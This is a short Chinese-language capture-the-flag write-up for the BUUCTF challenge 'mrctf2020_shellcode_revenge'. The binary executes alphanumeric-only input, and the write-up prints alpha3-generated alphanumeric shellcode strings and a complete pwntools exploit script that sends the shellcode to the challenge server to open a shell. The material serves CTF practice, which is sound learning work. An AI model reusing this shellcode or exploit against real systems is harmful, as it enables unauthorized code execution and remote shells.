类型:shellcode 字符审查

https://buuoj.cn/challenges#mrctf2020_shellcode

一如既往的checksec

打开ida之后我们发现图形化反汇编mian函数里面有很多的跳转。我们直接F5,会报错,说call rax这一行有问题。我们直接右键未定义即可。

看起来是一堆if字符检测,我们拿出离散数学的知识和ASCII码表对照一看就会快速发现这是一个把所有的非字母、非数字常规文本字符给去掉了。只有“qwertyuiopasdfghjklzxcvbnm QWERTYUIOPASDFGHJKLZXCV BNM 1234567890”这些字符。

然后原理和mrctf2020_shellcode一样,读入什么执行什么。

我们可以用alpha3工具来帮我们生成这个shellcode:alpha3.py

ok了,然后我们就得到64位的shellcode字符串化的串为:

1
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2O2u2E0Z7m0n7m0R0b2x2o0Y102x0B7O2A1P2J0n102j0V0l2A0T170Z2j0Y7N0O1O137M0I1P132v0H0V10142v060H0f11000J0q11180I1711160J0Z110h0k060V0y0g2E0m0K170u0n110m2H11120n2n0U1N0f7N0m0H192m0n2n0U10112t0H12131k2k0h0l02102w0m0I112m2w0C01

操,太长了。然后我发现用python2的方法生成的可以打通

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import*
context(log_level = 'debug', arch = 'i386', os = 'linux')

ip='node5.buuoj.cn'
port=26117

file_addr = './mrctf2020_shellcode_revenge'

p = remote(ip,port)
#p = process(file_addr)
elf = ELF(file_addr)


shellcode = b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N00'
payload = shellcode

print(payload)

p.sendafter(b'magic',payload)
p.interactive()